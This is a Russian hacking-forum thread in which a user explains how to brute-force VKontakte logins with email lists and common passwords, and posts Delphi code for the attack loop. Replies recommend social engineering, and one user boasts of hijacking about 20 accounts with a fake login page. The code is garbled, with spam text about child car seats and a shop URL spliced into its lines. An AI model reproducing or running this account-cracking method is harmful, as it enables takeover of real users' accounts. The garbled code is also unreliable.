DIZ-CS.RU - Мы с Вами НАВСЕГДА!
Активный форум » Социальные сети » Вконтакте » Брут ВКонтакте (объяснение, что и как)
  • Страница 1 из 1
  • 1
Сообщение # 1
Аватарка inFINity
OFF
Пользователь
Сообщения:147
Награды:20
Отзывы:0
Skype пользователя:
Сайт пользователя:
Что ж прежде, чем приступить к изложению своих мыслей по теме, оговорюсь, что вся представленная информация является следствием природного любопытства и никакого злого умысла в себе не несет. Использовать ее вы можете лишь на свой страх и риск, я за это никакой ответственности ни несу, просто делюсь опытом.

Вообще, на реализацию основного программного кода у меня ушло от силы 30 минут, остальные же полтора часа я убил на разработку красивого GUI, обработку в фотошопе логотипа в «контакте» и прочую мишуру… =) И так, это не учебник для начинающих и описывать пошаговые действия я не буду, лишь расскажу общую концепцию действий и приведу программный код. Статья расчита на то, что вы владеете основными навыками написаний приложений в среде Delphi и хотя бы как то знакомы с принципами взаимодействия Делфи-Интернет.

Как известно брут это тупой подбор пароля, либо по словарю, либо вообще случайным образом. Соответственно, каким образом можно осуществить подбор пароля к сайту Вконтакте, а для начала – что нам понадобится? Авторизация на сайте происходит по средствам ввода e-mail адреса и пароля, значит, у нас должно быть: список e-mail адресов (любой - в контакте больше 10 миллионов пользователей и любой список, даже двух летней давности скорей всего даст результат), к этим адресам мы будем подбирать пароли, и, собственно, сам список паролей либо просто один распространенный пароль (например «qwerty» или «123456»).

Отлично. Теперь разберем план действий, который в принципе просто элементарен. Просмотрев HTML код главной страницы в контакте можно выяснить следующее:

* Введенные e-mail и пароль отправляются скрипту login.php методом POST
* В пост запросе e-mail содержится в поле «email»
* В пост запросе пароль содержится в поле «pass»
* После получения запроса скрипт login.php проверяет данные и загружает соответствующую страницу профиля, либо страницу ошибки, если e-mail или пароль не верные.

В итоге нам нужно реализовать следующий алгоритм:

Блок схема алгоритма брутера

По данной схеме: «Действие 1» – действие в случае если пара логин/пароль подошла (то есть удачно подобрали), «Действие 2» – соответственно наоборот, не подошла.

Условие «подошло?» подразумевает проверку ответа сервера, я не придумал ничего умнее кроме как искать в ответе (сервер «отвечает» HTML код страницы) строку «В Контакте | Вход», то есть если сервер опять отправил нас на страницу входа, то значит пара логин/пароль не подошла, соответственно если этой строки нет – поздравляю мы вошли в чей-то аккаунт!

Приступим непосредственно к кодингу. Для работы с HTTP протоколом я выбрал компоненты Indy (класс TidHTTP), конечно это не лучший вариант, можно было использовать сокеты, но что уж поделаешь лентяй я… )))

В моем примере:

* Emails – объект TStringList, содержит список мыл
* Pass - – объект TStringList, содержит список паролей

Код:

Code
procedure Brute();
var
   emails:TStingList;  // список мыл
   pass:TStingList;    // список паролей
   post:TStingList;    // список полей пост запроса
   i,j:integer;           // счетчики циклов
begin
  email:=TStringList.Create; pass:=TStringList.Create;  // Инициализируем переменные
   // ================================================
   // тут заполняем мыла и пароли, а лучше грузим из файла
   // ================================================
   http:=TidHTTP.Create(nil);      // создаем HTTPClient
   http.HandleRedirects автокресло kiddy infinity pro 2009, Детское автокресло kiddy infinity pro :=true;   // это необходимо
   post:=tstringlist.Create;           // этот стринг лист содержит поля e-mail и пароль
   for i:=0 to emails.Count-1 do begin   // перебираем в цикле мыльники
     post.Clear;    // отчищаем
     post.Add('email='+emails.Strings[i]);    // указываем e-mail
     for j:=0 to pass.Count-1 do begin         // перебираем пароли для выбранного мыльника
       post.Add('pass='+pass.Strings[j]);       // указываем пароль
       result: http://bebiki.ru/katalog/products/vannochki/cam-stol-dlja-pelenanija-nuvola =http.Post('/',post);  // посылаем запрос
       if pos('',result)>;0 then  // проверяем ответ
         // неудачно подобрали. какое то действие
       else
         //  удачно подобрали. какое то действие, например записать в файл пару мыло/пароль
     end;
   end;
   
   // освободим переменные
   emails.Free;
   pass.Free;
   http.Free;
   post.Free;
end;

Конечно, это просто кусок основного кода, но я подробного расписал алгоритм и человеку с руками ничего не стоит доделать это все до «нормального» вида, прикрутить потоки и т.д.

В конечном итоге, помимо потоков в моем варианте я добавил еще и работу через прокси-сервер, выглядит это так:

Приятного кодинга! И не забывайте про УК РФ, все-таки «контакт» довольно крупный, и к тому же российский ресурс! =)

Сообщение # 2
Аватарка F1xeR
OFF
Пользователь
Сообщения:268
Награды:7
Отзывы:0
Брутить получится долго. Лучше пользоваться социальной инженерией.
Сообщение # 3
Аватарка inFINity
OFF
Пользователь
Сообщения:147
Награды:20
Отзывы:0
Skype пользователя:
Сайт пользователя:
floOw любопытность сильнее happy
Сообщение # 4
Аватарка MacDack
OFF
Пользователь
Сообщения:38
Награды:1
Отзывы:0
Я фейковой страницой взломал около 20 акков ...когда то...А теперь этой фигней не страдаю... rolleyes
Сообщение # 5
Аватарка make^
OFF
Пользователь
Сообщения:40
Награды:1
Отзывы:0
F1xeR прав,соц.инженерия решает smile
Сообщение # 6
Аватарка qwest666
OFF
Пользователь
Сообщения:119
Награды:3
Отзывы:0
Skype пользователя:
Спасибо
Сообщение # 7
Аватарка RoleXX
OFF
Пользователь
Сообщения:152
Награды:17
Отзывы:0
Skype пользователя:
спс
  • Страница 1 из 1
  • 1
Поиск:
Писать на форуме могут только авторизованные пользователи.